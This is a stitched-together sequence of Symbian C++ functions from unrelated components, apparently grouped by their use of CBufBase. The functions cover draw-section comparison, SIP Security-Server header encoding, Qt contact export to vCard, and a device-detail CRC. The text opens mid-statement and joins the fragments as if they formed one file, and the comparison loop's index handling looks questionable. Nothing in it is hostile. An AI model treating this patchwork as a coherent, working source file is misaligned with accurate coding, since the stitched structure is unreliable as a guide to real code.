static_cast<TUint16>(attrValLength));
ptr.Append(*value);
CleanupStack::Pop(attribute);
CleanupStack::PopAndDestroy(value);
return attribute;
}
/**
Compares this drawsection to aDrawSection and check if they are identical.
@param aDrawSection The drawsection to compare with.
@return ETrue if the drawsections are identical, otherwise EFalse.
*/
TBool CDrawSection::IsIdentical(const CDrawSection& aDrawSection) const
{
const TRect drawRect = aDrawSection.DrawRect();
CBufBase* segBuf = aDrawSection.Buffer();
if(!iHasBitmapCommand && iDrawRect.iTl == drawRect.iTl && iDrawRect.iBr == drawRect.iBr && segBuf->Size() == iSectionSegBuf->Size())
{
const TInt count = iSectionSegBuf->Size();
for(TInt i = 0; i < count; i++)
{
const TPtr8 comparePtr = segBuf->Ptr(i);
if(iSectionSegBuf->Ptr(i).CompareC(segBuf->Ptr(i))) //Not identical
return EFalse;
i += comparePtr.Size();
}
return ETrue;
}
return EFalse;
}
// ----------------------------------------------------------------------------
// TSIPSecDigestVerifyContext::SecurityServerHeaderL
// Example
// Security-Server: ipsec-ike;q=0.1
// Security-Server: tls;q=0.2
// Result
// Security-Server:ipsec-ike;q=0.1,tls;q=0.2
// ----------------------------------------------------------------------------
//
HBufC8* TSIPSecDigestVerifyContext::SecurityServerHeaderL()
{
HBufC8* serverHeader( NULL );
TSglQueIter<CSIPHeaderBase> headers(
static_cast< TSIPSecPluginCtxVerify& >( Parent() ).
SecurityServerHeaders() );
if ( headers )
{
CBufBase* encoded = SipSecUtils::EncodeHeadersL( headers );
CleanupStack::PushL( encoded );
TPtr8 encodedPtr( encoded->Ptr( 0 ) );
serverHeader = encodedPtr.AllocL();
CleanupStack::PopAndDestroy( encoded );
}
return serverHeader;
}
/*!
* Fetch contact
*/
TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase )
{
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid);
TInt error(KErrNone);
QList<QContact> contacts;
QBuffer contactsbuf;
contactsbuf.open(QBuffer::ReadWrite);
mWriter->setDevice( &contactsbuf );
QContact contact = mContactManager->contact( uid.iUid );
error = mContactManager->error();
if( error != QContactManager::NoError )
{
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error );
return error;
}
contacts.append( contact );
if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) )
{
QList<QVersitDocument> documents = mExporter->documents();
mWriter->startWriting( documents );
bool status = mWriter->waitForFinished();
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status);
HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() );
contactbufbase.InsertL( contactbufbase.Size(), *buf );
delete buf;
}
else
{
error = KErrGeneral;
DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error );
}
TPtr8 ptrbuf(contactbufbase.Ptr(0));
DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(),
_S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:"));
_DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END");
return error;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
// -----------------------------------------------------------------------------
TInt CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
{
CBufBase* crcBuf = CBufFlat::NewL( 1 );
CleanupStack::PushL( crcBuf );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailDevTypNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailOEMNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailFwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailSwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailHwVNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailLrgObjNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxDepthNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxTotLenNodeName() );
AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxSegLenNodeName() );
TUint16 crc = 0;
Mem::Crc( crc, crcBuf->Ptr(0).Ptr(), crcBuf->Size() );
CleanupStack::PopAndDestroy(); // crcBuf
return crc;
}
